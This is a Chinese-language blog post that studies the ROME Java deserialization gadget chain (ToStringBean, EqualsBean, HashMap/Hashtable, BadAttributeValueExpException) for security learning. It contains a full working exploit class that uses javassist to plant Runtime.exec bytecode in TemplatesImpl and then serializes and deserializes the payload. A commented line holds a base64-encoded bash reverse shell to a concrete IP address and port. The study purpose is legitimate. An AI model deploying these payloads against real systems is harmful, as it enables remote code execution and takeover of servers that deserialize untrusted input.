java反序列化之ROME链

前情提要:

ROME是一个可以兼容多种格式的feeds解析器,可以将一种对象转换成另一种格式(指定格式或java对象)

他提供了ToStringBean这个类,提供深入的toString方法对javaBean进行操作

环境:

jdk8u65

pom.xml:

<dependency>  
    <groupId>rome</groupId>  
    <artifactId>rome</artifactId>  
    <version>1.0</version>  
</dependency>  
<dependency>  
    <groupId>org.javassist</groupId>  
    <artifactId>javassist</artifactId>  
    <version>3.28.0-GA</version>  
</dependency>

流程分析:

首先是从导入的rome包里面看一眼,搜一下相关关键字发现什么都没有,比如jndi关键字

其实这里是因为rome包只是这个链子的一部分也就是一个sink,是因为有他才完善了一条链子 

这里看其他师傅的链尾是TemplatesImpl.getOutputProperties(),很熟悉,在cc里面见过,这里我们按照常规思路应该是去找find usages,但是发现找不到

这里很厉害的一个地方就是链子的下一步是(在rome包里面)ToStringBean.toString(),看一下

发现就是BeanIntrospector.getPropertyDescriptors(_beanClass)获取一个_beanClass中的getter方法,如果不为空且能调用该方法且可以传参,判断完之后就会执行invoke

Object value = pReadMethod.invoke(_obj,NO_PARAMS);

这里看到invoke其实有的人就有可能知道为什么链尾是tostring了,因为该invoke是可以触发TemplatesImpl.getOutputProperties() 的方法的

然后跟进去看一下_beanClass和_obj在构造函数的时候就会被赋值

那现在就是去找谁调用tostring了,这用到了rome包中的类EqualsBean ,跟进去看一下发现有一个hashcode方法

看到这个方法就可以想到我们之前学习cc链的时候的hashmap相关的那条链,这里也是完美契合的

 

原生exp编写

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import com.sun.syndication.feed.impl.EqualsBean;  
import com.sun.syndication.feed.impl.ToStringBean;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
  
import java.io.*;  
import java.lang.reflect.Field;  
import java.util.HashMap;  
  
public class RomEXP {  
    public static void main(String[] args) throws Exception{  
        TemplatesImpl templates = new TemplatesImpl();  
        setFieldValue(templates,"_name","Drunkbaby");  
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());  
        Class c = templates.getClass();  
        Field byteCodesField = c.getDeclaredField("_bytecodes");  
        byteCodesField.setAccessible(true);  
        byte[] evil = getTemplatesImpl("Calc");  
        byte[][] codes = {evil};  
        byteCodesField.set(templates,codes);  
//        templates.newTransformer();  
 		ToStringBean toStringBean = new ToStringBean(c,templates);  
//        toStringBean.toString();  
 		Class toStringBeanEvil = toStringBean.getClass();  
        EqualsBean equalsBean = new EqualsBean(toStringBeanEvil,toStringBean);  
        HashMap hashMap = new HashMap();  
        hashMap.put(equalsBean,"Zephyr");  
        serialize(hashMap);  
        unserialize("ser.bin");  
  
    }  
  
    public static byte[] getTemplatesImpl(String cmd) {  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.makeClass("Evil");  
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");  
            ctClass.setSuperclass(superClass);  
            CtConstructor constructor = ctClass.makeClassInitializer();  
            constructor.setBody(" try {\n" +  
                    " Runtime.getRuntime().exec(\"" + cmd +  
                    "\");\n" +  
                    " } catch (Exception ignored) {\n" +  
                    " }");  
            // "new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMC4xMS4yMzEvOTk5MCAwPiYx}|{base64,-d}|{bash,-i}\"}"  
 			byte[] bytes = ctClass.toBytecode();  
            ctClass.defrost();  
            return bytes;  
        } catch (Exception e) {  
            e.printStackTrace();  
            return new byte[]{};  
        }  
    }  
  
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {  
        Class clazz = object.getClass();  
        Field field = clazz.getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(object,value);  
    }  
    public static void serialize(Object obj) throws IOException {  
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));  
        oos.writeObject(obj);  
    }  
  
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {  
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
        Object obj = ois.readObject();  
        return obj;  
    }  
}

其它利用链:

1.用objectBean替换equalsbean

exp基本不变,就变了一句

ObjectBean objectBean = new ObjectBean(toStringBeanEvil,toStringBean);  
HashMap hashMap = new HashMap();  
hashMap.put(objectBean,"Zephyr");

2.用hashtable替换hashmap

和之前一条cc链差不多,现在的poc里面hashmap会有一个put的操作,但是在hashtable里面,对于hashtable的每个元素,都会调用reconstitutionPut方法,具体的可以自己再去跟一下代码

Hashtable hashtable= new Hashtable();  
hashtable.put(equalsBean,"Zephyr");  
serialize(hashtable);

3.BadAttributeValueExpException 利用链

不知道大家还是否记得在cc中有个类也可以调用tostring方法,就是BadAttributeValueExpException类的readobject中可以调用任意类的tostring()方法

替换exp

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);  
serialize(badAttributeValueExpException);  
unserialize("ser.bin");

替换下面照片中红色的一块

注意:

上述代码都是用javassist生成的恶意字节码,因为javassist 缩短 payload 长度

原因是:

传统 Java 编译会包含调试信息、行号表、局部变量表等,而 Javassist 可以在生成时移除这些信息

总结:

总体来说,这条链还是简单一点,主要就是用到了rome包中的两个类来作为这条链的sink~

posted @ 2025-07-12 11:41  Zephyr07  阅读(11)  评论(0)    收藏  举报